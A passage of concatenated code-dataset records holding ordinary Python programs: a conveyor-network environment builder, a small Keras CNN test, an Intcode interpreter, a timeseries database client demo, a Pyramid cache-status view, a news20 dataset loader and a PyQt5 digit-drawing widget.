elements.append(Merger(ID=len(elements)))\n P2_i2 = elements[-1].ID\n connect(elements[P2_i1],0,elements[P2_i2],0,graph)\n \n elements.append(Element(ID=len(elements)))\n P2 = elements[-1].ID\n connect(elements[P2_i2],0,elements[P2],0,graph)\n dst.append(P2)\n \n elements.append(Diverter(ID=len(elements)))\n P2_o = elements[-1].ID\n connect(elements[P2],0,elements[P2_o],0,graph)\n \n add_straights(elements[P2_o],1,1,elements,graph)\n P2_o_1 = elements[-1].ID\n elements.append(Element(ID=len(elements)))\n P7 = elements[-1].ID\n connect(elements[P2_o_1],0,elements[P7],0,graph)\n dst.append(P7)\n \n elements.append(Merger(ID=len(elements)))\n P3_i0 = elements[-1].ID\n connect(elements[P7],0,elements[P3_i0],1,graph)\n \n elements.append(Merger(ID=len(elements)))\n P3_i1 = elements[-1].ID\n connect(elements[P3_i0],0,elements[P3_i1],0,graph) \n \n elements.append(Element(ID=len(elements)))\n P3 = elements[-1].ID\n connect(elements[P3_i1],0,elements[P3],0,graph)\n dst.append(P3) \n \n elements.append(Diverter(ID=len(elements)))\n P3_o = elements[-1].ID\n connect(elements[P3],0,elements[P3_o],0,graph)\n \n add_straights(elements[P3_o],0,4,elements,graph)\n P3_o_0 = elements[-1].ID\n \n elements.append(Merger(ID=len(elements)))\n P4_i = elements[-1].ID\n connect(elements[P3_o_0],0,elements[P4_i],0,graph)\n \n elements.append(Element(ID=len(elements)))\n P4 = elements[-1].ID\n connect(elements[P4_i],0,elements[P4],0,graph)\n dst.append(P4) \n \n elements.append(Diverter(ID=len(elements)))\n P4_o = elements[-1].ID\n connect(elements[P4],0,elements[P4_o],0,graph) \n \n add_straights(elements[P4_o],0,8,elements,graph)\n P4_o_0 = elements[-1].ID\n \n elements.append(Merger(ID=len(elements)))\n P5_i = elements[-1].ID \n connect(elements[P4_o_0],0,elements[P5_i],0,graph) \n \n elements.append(Element(ID=len(elements)))\n P5 = elements[-1].ID\n connect(elements[P5_i],0,elements[P5],0,graph)\n dst.append(P5)\n \n elements.append(Diverter(ID=len(elements)))\n P5_o = elements[-1].ID\n connect(elements[P5],0,elements[P5_o],0,graph)\n \n add_straights(elements[P5_o],0,3,elements,graph)\n P5_o_0 = elements[-1].ID\n connect(elements[P5_o_0],0,elements[P0],0,graph)\n \n add_straights(elements[P1_o],0,5,elements,graph)\n P1_o_0 = elements[-1].ID\n connect(elements[P1_o_0],0,elements[P2_i0],0,graph)\n \n add_straights(elements[P2_o],0,2,elements,graph)\n P2_o_0 = elements[-1].ID\n connect(elements[P2_o_0],0,elements[P3_i0],0,graph)\n \n add_straights(elements[P3_o],1,10,elements,graph)\n P3_o_1 = elements[-1].ID\n connect(elements[P3_o_1],0,elements[P2_i2],1,graph)\n \n add_straights(elements[P4_o],1,14,elements,graph)\n P4_o_1 = elements[-1].ID\n connect(elements[P4_o_1],0,elements[P3_i1],1,graph)\n \n add_straights(elements[P5_o],1,17,elements,graph)\n P5_o_1 = elements[-1].ID\n connect(elements[P5_o_1],0,elements[P2_i1],1,graph)\n \n add_straights(elements[P6_o0],0,3,elements,graph)\n P6_o0_0 = elements[-1].ID\n \n elements.append(Diverter(ID=len(elements)))\n P6_o1 = elements[-1].ID\n connect(elements[P6_o0_0],0,elements[P6_o1],0,graph)\n \n add_straights(elements[P6_o1],1,5,elements,graph)\n P6_o1_1 = elements[-1].ID\n connect(elements[P6_o1_1],0,elements[P4_i],1,graph)\n \n add_straights(elements[P6_o1],0,3,elements,graph)\n P6_o1_0 = elements[-1].ID\n connect(elements[P6_o1_0],0,elements[P5_i],1,graph)\n \n \n GCNMat = createGCNMat(graph)\n # [print(e.ID, e.__class__.__name__) for e in elements]\n# nx.draw_spectral(graph)\n# plt.show()\n # print('Number of elements in environment: ', len(elements))\n\n return elements, dst, src, graph, GCNMat\n\ndef env_3_0(): #265 elements\n elements = []\n graph = nx.DiGraph()\n # P0>\n # > P4 -\n # P1>\n\n elements.append(Toploader(ID=0))\n P0_i = elements[-1].ID\n \n add_straights(elements[P0_i],0,4,elements,graph)\n P0_o = elements[-1].ID\n \n elements.append(Merger(ID=len(elements)))\n P4 = elements[-1].ID\n connect(elements[P0_o],0,elements[P4],0,graph)\n \n \n elements.append(Diverter(ID=len(elements)))\n P5 = elements[-1].ID\n connect(elements[P4],0,elements[P5],0,graph)\n \n add_straights(elements[P5],1,24,elements,graph)\n P5_1 = elements[-1].ID\n \n elements.append(Merger(ID=len(elements)))\n P14_i = elements[-1].ID\n connect(elements[P5_1],0,elements[P14_i],0,graph)\n \n add_straights(elements[-1],0,29,elements,graph)\n P14 = elements[-1].ID\n \n elements.append(Merger(ID=len(elements)))\n P16 = elements[-1].ID\n connect(elements[P14],0,elements[P16],0,graph)\n \n elements.append(Diverter(ID=len(elements)))\n P17 = elements[-1].ID\n connect(elements[P16],0,elements[P17],0,graph)\n \n add_straights(elements[P17],1,9,elements,graph)\n P17_1 = elements[-1].ID\n \n elements.append(Element(ID=len(elements)))\n P20 = elements[-1].ID\n connect(elements[P17_1],0,elements[P20],0,graph)\n \n add_straights(elements[P20],0,4,elements,graph)\n P20_o = elements[-1].ID\n \n elements.append(Merger(ID=len(elements)))\n P22_i = elements[-1].ID\n connect(elements[P20_o],0,elements[P22_i],0,graph)\n \n add_straights(elements[P22_i],0,9,elements,graph)\n P22 = elements[-1].ID\n \n elements.append(Diverter(ID=len(elements)))\n P23 = elements[-1].ID\n connect(elements[P22],0,elements[P23],0,graph)\n \n elements.append(Diverter(ID=len(elements)))\n P24 = elements[-1].ID\n connect(elements[P23],0,elements[P24],0,graph)\n connect(elements[P24],0,elements[P0_i],0,graph)\n \n \n \n \n elements.append(Diverter(ID=len(elements)))\n P25 = elements[-1].ID\n connect(elements[P23],1,elements[P25],0,graph)\n \n elements.append(Toploader(ID=len(elements)))\n P2_i = elements[-1].ID\n connect(elements[P25],0,elements[P2_i],0,graph)\n \n add_straights(elements[P2_i],0,4,elements,graph)\n P2_o = elements[-1].ID\n \n elements.append(Merger(ID=len(elements)))\n P7 = elements[-1].ID\n connect(elements[P2_o],0,elements[P7],0,graph)\n \n elements.append(Diverter(ID=len(elements)))\n P8 = elements[-1].ID\n connect(elements[P7],0,elements[P8],0,graph)\n \n add_straights(elements[P8],1,24,elements,graph)\n P8_1 = elements[-1].ID\n \n elements.append(Merger(ID=len(elements)))\n P15_i = elements[-1].ID\n connect(elements[P8_1],0,elements[P15_i],0,graph)\n \n add_straights(elements[P15_i],0,29,elements,graph)\n P15 = elements[-1].ID\n \n elements.append(Merger(ID=len(elements)))\n P18 = elements[-1].ID\n connect(elements[P15],0,elements[P18],0,graph)\n\n elements.append(Diverter(ID=len(elements)))\n P19 = elements[-1].ID\n connect(elements[P18],0,elements[P19],0,graph)\n \n add_straights(elements[P19],1,9,elements,graph)\n P19_1 = elements[-1].ID\n \n elements.append(Element(ID=len(elements)))\n P21 = elements[-1].ID\n connect(elements[P19_1],0,elements[P21],0,graph)\n \n add_straights(elements[P21],0,4,elements,graph)\n P21_o = elements[-1].ID\n connect(elements[P21_o],0,elements[P22_i],1,graph)\n \n \n \n \n elements.append(Toploader(ID=len(elements)))\n P1_i = elements[-1].ID\n connect(elements[P24],1,elements[P1_i],0,graph)\n \n add_straights(elements[P1_i],0,4,elements,graph)\n P1_o = elements[-1].ID\n connect(elements[P1_o],0,elements[P4],1,graph)\n \n add_straights(elements[P5],0,9,elements,graph)\n P5_0 = elements[-1].ID\n \n elements.append(Merger(ID=len(elements)))\n P6 = elements[-1].ID\n connect(elements[P5_0],0,elements[P6],0,graph)\n \n elements.append(Diverter(ID=len(elements)))\n P9 = elements[-1].ID\n connect(elements[P6],0,elements[P9],0,graph)\n \n add_straights(elements[P9],0,9,elements,graph)\n P9_0 = elements[-1].ID\n \n elements.append(Merger(ID=len(elements)))\n P10 = elements[-1].ID\n connect(elements[P9_0],0,elements[P10],0,graph)\n \n elements.append(Diverter(ID=len(elements)))\n P11 = elements[-1].ID\n connect(elements[P10],0,elements[P11],0,graph)\n \n add_straights(elements[P11],1,5,elements,graph)\n P11_1 = elements[-1].ID\n connect(elements[P11_1],0,elements[P14_i],1,graph)\n \n \n\n \n elements.append(Toploader(ID=len(elements)))\n P3_i = elements[-1].ID\n connect(elements[P25],1,elements[P3_i],0,graph)\n \n add_straights(elements[P3_i],0,4,elements,graph)\n P3_o = elements[-1].ID\n connect(elements[P3_o],0,elements[P7],1,graph)\n \n add_straights(elements[P8],0,9,elements,graph)\n P8_0 = elements[-1].ID\n connect(elements[P8_0],0,elements[P6],1,graph)\n \n add_straights(elements[P9],1,9,elements,graph)\n P9_1 = elements[-1].ID \n \n elements.append(Merger(ID=len(elements)))\n P12 = elements[-1].ID\n connect(elements[P9_1],0,elements[P12],0,graph) \n \n elements.append(Diverter(ID=len(elements)))\n P13 = elements[-1].ID\n connect(elements[P12],0,elements[P13],0,graph)\n \n add_straights(elements[P13],1,5,elements,graph)\n P13_1 = elements[-1].ID\n connect(elements[P13_1],0,elements[P15_i],1,graph)\n \n \n \n \n add_straights(elements[P11],0,4,elements,graph)\n P11_0 = elements[-1].ID\n connect(elements[P11_0],0,elements[P12],1,graph)\n \n \n add_straights(elements[P13],0,4,elements,graph)\n P13_0 = elements[-1].ID\n connect(elements[P13_0],0,elements[P10],1,graph)\n\n \n add_straights(elements[P17],0,14,elements,graph)\n P17_0 = elements[-1].ID\n connect(elements[P17_0],0,elements[P18],1,graph)\n \n\n add_straights(elements[P19],0,14,elements,graph)\n P19_0 = elements[-1].ID\n connect(elements[P19_0],0,elements[P16],1,graph) \n \n \n src = [P0_i,P1_i,P2_i,P3_i]\n dst = [P20,P21]\n \n for e in elements:\n print(e.ID, e.__class__.__name__) \n GCNMat = createGCNMat(graph)\n# pos = nx.nx_pydot.graphviz_layout(graph, prog='dot')\n# nx.draw(graph,pos=pos)\n# plt.show()\n print('Number of elements in environment: ', len(elements))\n return elements, dst, src, graph, GCNMat\n\n\n#elems = [Element(ID=i) for i in range(6)]\n#elems[1] = Merger(ID=elems[1].ID)\n#elems[2] = Diverter(ID=elems[2].ID)\n#elems[5] = Toploader(ID=elems[5].ID)\n##[print(e) for e in elems]\n#\n#connect(element1=elems[0], elem1conn=0, element2=elems[1], elem2conn=0)\n#connect(element1=elems[1], elem1conn=0, element2=elems[2], elem2conn=0)\n#connect(element1=elems[2], elem1conn=0, element2=elems[3], elem2conn=0)\n#connect(element1=elems[2], elem1conn=1, element2=elems[4], elem2conn=0)\n#connect(element1=elems[3], elem1conn=0, element2=elems[0], elem2conn=0)\n#connect(element1=elems[4], elem1conn=0, element2=elems[1], elem2conn=1)\n#connect(element1=elems[5], elem1conn=0, element2=elems[0], elem2conn=0)\n#\n#totes = []\n#for i in range(5):\n# totes.append(Tote(i,dst=random.randint(0,5)))\n##for t in totes:\n## elems[5].push(t)\n#elems[5].push(totes)\n##[print(e) for e in elems]\n#for i in range(10):\n# print('')\n# step(elems,totes)\n# \n#\n#\n","sub_path":"bhs/bhs/envs/envfactory_v4_1.py","file_name":"envfactory_v4_1.py","file_ext":"py","file_size_in_byte":16598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"588146209","text":"from __future__ import print_function\nimport keras\nfrom keras.datasets import mnist\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Flatten\nfrom keras.layers import Conv2D, MaxPooling2D\nfrom keras import backend as K\nimport numpy as np\nfrom scipy import ndimage\nfrom scipy.misc import imresize\nfrom os import listdir\n\n# This is a sanity check of the artificial data set.\n# 1, This architecture works as expected. The model complexity easily\n# saturated the training set the training accuracy is 100%.\n# 2, When the test happens, accuracy is bad. What happened is that\n# the model captures one of the many idiosyncrasies of the training\n# set, and this specific trait the model captures did not happen to\n# to be the trait we desire. The solution is to feed it more training\n# data. The trait captured will be denied in the further training data,\n# unless it's exactly what we desire.\n# This is just neural network 101.\n# 3, However, as I claimed in my demo, Philosophy Machine training should\n# return no trivial results like this. Let's see whether I can make it happen.\n\nbatch_size = 10\nnum_classes = 2\nepochs = 100\n\n# input image dimensions\nimg_rows, img_cols = 28, 28\ndir=listdir(\"dataset-1\")[1:]\nx_list=[]\nfor i in dir:\n img=ndimage.imread(\"dataset-1/\"+i,flatten=True)\n img=imresize(img,size=(28,28))\n x_list.append(img)\n\ny_list=[m[-5] for m in dir]\n\nx_list=np.asarray(x_list)\n\n# the data, shuffled and split between train and test sets\n# (x_train, y_train), (x_test, y_test) = mnist.load_data()\nx_train=x_list[0:8]\nx_test=x_list[8:10]\ny_train=y_list[0:8]\ny_test=y_list[8:10]\n\nif K.image_data_format() == 'channels_first':\n x_train = x_train.reshape(x_train.shape[0], 1, img_rows, img_cols)\n x_test = x_test.reshape(x_test.shape[0], 1, img_rows, img_cols)\n input_shape = (1, img_rows, img_cols)\nelse:\n x_train = x_train.reshape(x_train.shape[0], img_rows, img_cols, 1)\n x_test = x_test.reshape(x_test.shape[0], img_rows, img_cols, 1)\n input_shape = (img_rows, img_cols, 1)\n\nx_train = x_train.astype('float32')\nx_test = x_test.astype('float32')\nx_train /= 255\nx_test /= 255\nprint('x_train shape:', x_train.shape)\nprint(x_train.shape[0], 'train samples')\nprint(x_test.shape[0], 'test samples')\n\n# convert class vectors to binary class matrices\ny_train = keras.utils.to_categorical(y_train, num_classes)\ny_test = keras.utils.to_categorical(y_test, num_classes)\n\nmodel = Sequential()\nmodel.add(Conv2D(32, kernel_size=(3, 3),\n activation='relu',\n input_shape=input_shape))\nmodel.add(Conv2D(64, (3, 3), activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Dropout(0.25))\nmodel.add(Flatten())\nmodel.add(Dense(128, activation='relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(num_classes, activation='softmax'))\n\nmodel.compile(loss=keras.losses.categorical_crossentropy,\n optimizer=keras.optimizers.Adadelta(),\n metrics=['accuracy'])\n\nmodel.fit(x_train, y_train,\n batch_size=batch_size,\n epochs=epochs,\n verbose=1,\n validation_data=(x_test, y_test))\nscore = model.evaluate(x_test, y_test, verbose=0)\nprint('Test loss:', score[0])\nprint('Test accuracy:', score[1])","sub_path":"AB_training/sanity_check_and_triviality.py","file_name":"sanity_check_and_triviality.py","file_ext":"py","file_size_in_byte":3228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"477113582","text":"file = open('input.txt', 'r')\nlistData = [];\nfor line in file.readlines():\n listData = line.rstrip().split(',');\n\t\nlistData = list(map(int, listData));\n\nMODE_POSITION = 0;\nMODE_IMMEDIATE = 1;\nMODE_RELATIVE = 2;\n\nclass OpcodeComputer:\n def __init__(self, data):\n self.currentPos = 0;\n self.relativeBase = 0;\n self.tempData = data.copy();\n\n def extendArray(self, pos):\n for x in range(len(self.tempData), pos + 1):\n self.tempData.append(0);\n\n def testIndex(self, index):\n if(index >= len(self.tempData)):\n self.extendArray(index); \n\n def getParameter(self, mode, offset):\n self.testIndex(self.currentPos + offset);\n if(mode == MODE_IMMEDIATE):\n return self.tempData[self.currentPos + offset];\n elif(mode == MODE_RELATIVE):\n self.testIndex(self.relativeBase + self.tempData[self.currentPos + offset]);\n return self.tempData[self.relativeBase + self.tempData[self.currentPos + offset]];\n else:\n self.testIndex(self.tempData[self.currentPos + offset]);\n return self.tempData[self.tempData[self.currentPos + offset]];\n\n def getIndex(self, mode, offset):\n self.testIndex(self.currentPos + offset);\n if(mode == MODE_IMMEDIATE):\n return self.currentPos + offset;\n elif(mode == MODE_RELATIVE):\n self.testIndex(self.relativeBase + self.tempData[self.currentPos + offset]);\n return self.relativeBase + self.tempData[self.currentPos + offset];\n else:\n self.testIndex(self.tempData[self.currentPos + offset]);\n return self.tempData[self.currentPos + offset];\n \n\n def performCommand(self):\n while(self.currentPos < len(self.tempData)):\n opCode = self.tempData[self.currentPos];\n\n paramMode1 = MODE_POSITION;\n paramMode2 = MODE_POSITION;\n paramMode3 = MODE_POSITION;\n\n if(opCode > 99):\n paramMode1 = ((opCode // 100) % 10);\n paramMode2 = ((opCode // 1000) % 10);\n paramMode3 = ((opCode // 10000) % 10);\n opCode = opCode % 100;\n \n if(opCode == 1):\n # Adds\n param1 = self.getParameter(paramMode1, 1);\n param2 = self.getParameter(paramMode2, 2);\n self.tempData[self.getIndex(paramMode3, 3)] = param1 + param2;\n self.currentPos += 4;\n elif(opCode == 2):\n # Multiplies\n param1 = self.getParameter(paramMode1, 1);\n param2 = self.getParameter(paramMode2, 2);\n self.tempData[self.getIndex(paramMode3, 3)] = param1 * param2;\n self.currentPos += 4;\n elif(opCode == 3):\n # Sets value\n inputVal = int(input(\"Enter number for address: \"));\n self.tempData[self.getIndex(paramMode1, 1)] = inputVal;\n self.currentPos += 2;\n elif(opCode == 4):\n # Prints value\n param1 = self.getParameter(paramMode1, 1);\n print(\"Output of computer is \" + str(param1));\n self.currentPos += 2;\n elif(opCode == 5):\n # Jump if true\n param1 = self.getParameter(paramMode1, 1);\n if(param1 != 0):\n param2 = self.getParameter(paramMode2, 2);\n self.currentPos = param2;\n else:\n self.currentPos += 3;\n elif(opCode == 6):\n # Jump if false\n param1 = self.getParameter(paramMode1, 1);\n if(param1 == 0):\n param2 = self.getParameter(paramMode2, 2);\n self.currentPos = param2;\n else:\n self.currentPos += 3;\n elif(opCode == 7):\n # Less than\n param1 = self.getParameter(paramMode1, 1);\n param2 = self.getParameter(paramMode2, 2);\n if(param1 < param2):\n self.tempData[self.getIndex(paramMode3, 3)] = 1;\n else:\n self.tempData[self.getIndex(paramMode3, 3)] = 0;\n self.currentPos += 4;\n elif(opCode == 8):\n # Equal to\n param1 = self.getParameter(paramMode1, 1);\n param2 = self.getParameter(paramMode2, 2);\n if(param1 == param2):\n self.tempData[self.getIndex(paramMode3, 3)] = 1;\n else:\n self.tempData[self.getIndex(paramMode3, 3)] = 0;\n self.currentPos += 4;\n elif(opCode == 9):\n param1 = self.getParameter(paramMode1, 1);\n self.relativeBase += param1;\n self.currentPos += 2;\n elif(opCode == 99):\n # Finishes\n print(\"Program End\");\n break;\n else:\n print(\"Something went wrong\");\n return -1;\n print(\"END\");\n \n\ncomputer = OpcodeComputer(listData);\ncomputer.performCommand();\n","sub_path":"Day_9/Puzzle_1.py","file_name":"Puzzle_1.py","file_ext":"py","file_size_in_byte":5192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"259598988","text":"#!/usr/bin/env python3\nfrom tsdb import TSDBClient\nimport timeseries as ts\nimport numpy as np\nimport time\nimport scipy.stats\n# from scipy.stats import norm\n\n\n# m is the mean, s is the standard deviation, and j is the jitter\n# the meta just fills in values for order and blarg from the schema\ndef tsmaker(m, s, j):\n \"returns metadata and a time series in the shape of a jittered normal\"\n meta = {}\n meta['order'] = int(np.random.choice([-5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5]))\n meta['blarg'] = int(np.random.choice([1, 2]))\n t = np.arange(0.0, 1.0, 0.01)\n v = scipy.stats.norm.pdf(t, m, s) + j*np.random.randn(100)\n return meta, ts.TimeSeries(t, v)\n\n\ndef main():\n print('&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&')\n client = TSDBClient(30000)\n\n # add a trigger. notice the argument. It does not do anything here but\n # could be used to save a shlep of data from client to server.\n client.add_trigger('junk', 'insert_ts', None, 'db:one:ts')\n # our stats trigger\n client.add_trigger('stats', 'insert_ts', ['mean', 'std'], None)\n # Set up 50 time series\n mus = np.random.uniform(low=0.0, high=1.0, size=50)\n sigs = np.random.uniform(low=0.05, high=0.4, size=50)\n jits = np.random.uniform(low=0.05, high=0.2, size=50)\n\n # dictionaries for time series and their metadata\n tsdict = {}\n metadict = {}\n for i, m, s, j in zip(range(50), mus, sigs, jits):\n meta, tsrs = tsmaker(m, s, j)\n # the primary key format is ts-1, ts-2, etc\n pk = \"ts-{}\".format(i)\n tsdict[pk] = tsrs\n meta['vp'] = False # augment metadata with a boolean asking if this is a VP.\n metadict[pk] = meta\n\n # choose 5 distinct vantage point time series\n vpkeys = [\"ts-{}\".format(i) for i in np.random.choice(range(50), size=5, replace=False)]\n for i in range(5):\n # add 5 triggers to upsert distances to these vantage points\n client.add_trigger('corr', 'insert_ts', [\"d_vp-{}\".format(i)], tsdict[vpkeys[i]])\n # change the metadata for the vantage points to have meta['vp']=True\n metadict[vpkeys[i]]['vp'] = True\n # Having set up the triggers, now insert the time series, and upsert the metadata\n for k in tsdict:\n client.insert_ts(k, tsdict[k])\n time.sleep(1)\n client.upsert_meta(k, metadict[k])\n\n print(\"UPSERTS FINISHED\")\n time.sleep(5)\n print('---------------------')\n print(\"STARTING SELECTS\")\n\n print('---------DEFAULT------------')\n client.select()\n\n # in this version, select has sprouted an additional keyword argument\n # to allow for sorting. Limits could also be enforced through this.\n print('---------ADDITIONAL------------')\n client.select(additional={'sort_by': '-order'})\n\n print('----------ORDER FIELD-----------')\n _, results = client.select(fields=['order'])\n for k in results:\n print(k, results[k])\n\n print('---------ALL FIELDS------------')\n client.select(fields=[])\n\n print('------------TS with order 1---------')\n client.select({'order': 1}, fields=['ts'])\n\n print('------------All fields, blarg 1 ---------')\n client.select({'blarg': 1}, fields=[])\n\n print('------------order 1 blarg 2 no fields---------')\n _, bla = client.select({'order': 1, 'blarg': 2})\n print(bla)\n\n print('------------order >= 4 order, blarg and mean sent back, also sorted---------')\n _, results = client.select({'order': {'>=': 4}}, fields=['order', 'blarg', 'mean'], additional={'sort_by': '-order'})\n for k in results:\n print(k, results[k])\n\n print('------------order 1 blarg >= 1 fields blarg and std---------')\n _, results = client.select({'blarg': {'>=': 1}, 'order': 1}, fields=['blarg', 'std'])\n for k in results:\n print(k, results[k])\n\n print('------now computing vantage point stuff---------------------')\n print(\"VPS\", vpkeys)\n #\n # # we first create a query time series.\n _, query = tsmaker(0.5, 0.2, 0.1)\n # query = tsdict['ts-6']\n #\n # # your code here begins\n #\n # # Step 1: in the vpdist key, get distances from query to vantage points\n # # this is an augmented select\n res = client.augmented_select('corr', ['dist'], query, {'vp': True})\n print(res)\n # # 1b: choose the lowest distance vantage point\n # # you can do this in local code\n d_res = res[1]\n sorted_res = []\n for k, v in d_res.items():\n sorted_res.append((v['dist'], k))\n\n sorted_res.sort()\n D = sorted_res[0][0]\n D_vp = vpkeys.index(sorted_res[0][1])\n print (sorted_res, 'D = ', D)\n\n # # Step 2: find all time series within 2*d(query, nearest_vp_to_query)\n # # this is an augmented select to the same proc in correlation\n res2 = client.augmented_select('corr', ['dist'], query, {'d_vp-{}'.format(D_vp): {'<=': 2*D}})\n print (res2)\n # # 2b: find the smallest distance amongst this ( or k smallest)\n d_res = res2[1]\n sorted_res = []\n for k, v in d_res.items():\n sorted_res.append( (v['dist'], k) )\n\n sorted_res.sort()\n D = sorted_res[0][0]\n D_k = sorted_res[0][1]\n print (sorted_res, 'D = ', D, 'D_k = ', D_k)\n nearestwanted = D_k\n # # you can do this in local code\n # # your code here ends\n # # plot the timeseries to see visually how we did.\n import matplotlib\n matplotlib.use('qt4agg')\n import matplotlib.pyplot as plt\n plt.plot(query, label='')\n plt.plot(tsdict[nearestwanted])\n plt.show()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"timeseries/go_client.py","file_name":"go_client.py","file_ext":"py","file_size_in_byte":5508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"316442110","text":"from pyramid.view import view_config\nfrom spwc import cache\nfrom humanize import filesize,time\nfrom datetime import datetime\nfrom ..index import index\n\n\n@view_config(route_name='home', renderer='../templates/welcome.jinja2')\ndef my_view(request):\n up_since = index[\"up_since\"]\n up_time = datetime.now() - up_since\n cache_stats = cache.stats()\n return {'entries': cache.cache_len(),\n 'cache_disk_size': filesize.naturalsize(cache.cache_disk_size()),\n 'up_date': time.naturaldate(up_since),\n 'up_duration': time.naturaldelta(up_time),\n 'cache_hits': str(cache_stats['hit']),\n 'cache_misses': str(cache_stats['misses'])\n }\n","sub_path":"spwc_proxy/views/default.py","file_name":"default.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"67605838","text":"\"\"\"\n@author: David Diaz Vico\n\"\"\"\n\nfrom sklearn.datasets import load_svmlight_files\nfrom sklearn.datasets.base import Bunch\n\nfrom .base import fetch_bz2\n\n\ndef load_news20(return_X_y=False):\n \"\"\"Load and return the news20 dataset (classification).\n \"\"\"\n filename = fetch_bz2('news20',\n 'https://www.csie.ntu.edu.tw/~cjlin/libsvmtools/datasets/multiclass/news20.bz2')\n filename_test = fetch_bz2('news20',\n 'https://www.csie.ntu.edu.tw/~cjlin/libsvmtools/datasets/multiclass/news20.t.bz2')\n filename_scale = fetch_bz2('news20',\n 'https://www.csie.ntu.edu.tw/~cjlin/libsvmtools/datasets/multiclass/news20.scale.bz2')\n filename_scale_test = fetch_bz2('news20',\n 'https://www.csie.ntu.edu.tw/~cjlin/libsvmtools/datasets/multiclass/news20.t.scale.bz2')\n X, y, X_test, y_test, X_scale, y_scale, X_scale_test, y_scale_test = load_svmlight_files([filename, filename_test, filename_scale, filename_scale_test])\n X = X.todense()\n X_test = X_test.todense()\n X_scale = X_scale.todense()\n X_scale_test = X_scale_test.todense()\n\n if return_X_y:\n return X, y, X_test, y_test\n\n return Bunch(data=X, target=y, data_test=X_test, target_test=y_test,\n data_scale=X_scale, target_scale=y_scale,\n data_scale_test=X_scale_test, target_scale_test=y_scale_test)\n","sub_path":"datasets/news20.py","file_name":"news20.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"644918078","text":"'''\nCreated on 2017年2月17日\n\n@author: metasoft\n'''\nfrom PyQt5 import QtWidgets,QtCore,QtGui\nfrom six.moves import xrange \nimport numpy as np\n\nclass Painter(QtWidgets.QWidget):\n '''\n classdocs\n '''\n \n lastPoint = QtCore.QPoint()\n penColor = QtCore.Qt.white\n learn = None\n identify = None\n trainExample = None\n \n labelInput = None\n \n def drawLineTo(self, endPoint):\n painter = QtGui.QPainter()\n painter.begin(self.image)\n painter.setPen(QtGui.QPen(self.penColor, 30,#QtGui.QColor(255,0,0)\n QtCore.Qt.SolidLine, QtCore.Qt.RoundCap, QtCore.Qt.RoundJoin))\n painter.drawLine(self.lastPoint, endPoint)\n painter.end()\n self.lastPoint = QtCore.QPoint(endPoint)\n self.update()\n \n def mousePressEvent(self, event):\n self.lastPoint = QtCore.QPoint(event.pos())\n def mouseMoveEvent(self, event):\n self.drawLineTo(event.pos())\n def mouseReleaseEvent(self, event):\n self.drawLineTo(event.pos())\n def paintEvent(self, event):\n painter = QtGui.QPainter(self)\n painter.drawImage(event.rect(), self.image)\n \n def onClear(self):\n self.image.fill(QtGui.qRgb(0, 0, 0))\n self.update()\n def onLearn(self):\n label = self.labelInput.text()\n if(self.learn is not None and len(label) ):\n print(\"label\", label)\n self.learn(self.getImage(), int(label)) \n def onIdentify(self,image):\n if(self.identify is not None ):\n self.identify(self.getImage()) \n def onPickColor(self):\n newColor = QtWidgets.QColorDialog.getColor(self.penColor)\n if newColor.isValid():\n self.penColor = newColor\n def onTrainExample(self):\n if(self.trainExample is not None ):\n self.trainExample() \n \n def getImage(self):\n newImage = QtGui.QImage(self.image.size(), QtGui.QImage.Format_RGB32)\n painter = QtGui.QPainter()\n painter.begin(newImage)\n painter.drawImage(QtCore.QPoint(0, 0), self.image)\n painter.end()\n newImage = newImage.scaled(28, 28, QtCore.Qt.KeepAspectRatio)\n imgData = []\n for h in xrange(newImage.height()):\n for w in xrange(newImage.width()):\n pixel = newImage.pixel(w, h) \n imgData.append( QtGui.qGray(pixel)/255 )\n newImage.save(\"test.png\", 'png')\n return imgData\n def getRightTo(self, widget, margin):\n return widget.x()+widget.width()+margin\n\n def __init__(self):\n '''\n Constructor\n '''\n super(Painter, self).__init__()\n self.resize(400, 400)\n self.image = QtGui.QImage(self.size(), QtGui.QImage.Format_RGB32)\n self.onClear()\n \n btn1 = QtWidgets.QPushButton(\"clear\")\n btn2 = QtWidgets.QPushButton(\"learn\")\n btn3 = QtWidgets.QPushButton(\"identify\")\n btn4 = QtWidgets.QPushButton(\"pen color\")\n btn5 = QtWidgets.QPushButton(\"train\")\n label1 = QtWidgets.QLabel(\"foobar\")\n input1 = QtWidgets.QLineEdit()\n self.labelInput = input1\n btn1.setMaximumSize(50, 20)\n btn2.setMaximumSize(50, 20)\n btn3.setMaximumSize(50, 20)\n btn4.setMaximumSize(60, 20)\n btn5.setMaximumSize(50, 20)\n input1.setMaximumSize(30, 20)\n btn1.clicked.connect(self.onClear) \n btn2.clicked.connect(self.onLearn) \n btn3.clicked.connect(self.onIdentify) \n btn4.clicked.connect(self.onPickColor) \n btn5.clicked.connect(self.onTrainExample) \n \n mainLayout = QtWidgets.QGridLayout()\n mainLayout.addWidget(btn1,0, 0,1,1, QtCore.Qt.AlignBottom|QtCore.Qt.AlignLeft)\n \n self.setLayout(mainLayout)\n self.show()\n \n input1.move(QtCore.QPoint(10,5))\n input1.setParent(self)\n input1.show()\n btn2.move(QtCore.QPoint(self.getRightTo(input1,10),5))\n btn2.setParent(self)\n btn2.show()\n btn3.move(QtCore.QPoint(self.getRightTo(btn2,10),5))\n btn3.setParent(self)\n btn3.show()\n btn4.move(QtCore.QPoint(self.getRightTo(btn3,10),5))\n btn4.setParent(self)\n btn4.show()\n btn5.move(QtCore.QPoint(self.getRightTo(btn4,10),5))\n btn5.setParent(self)\n 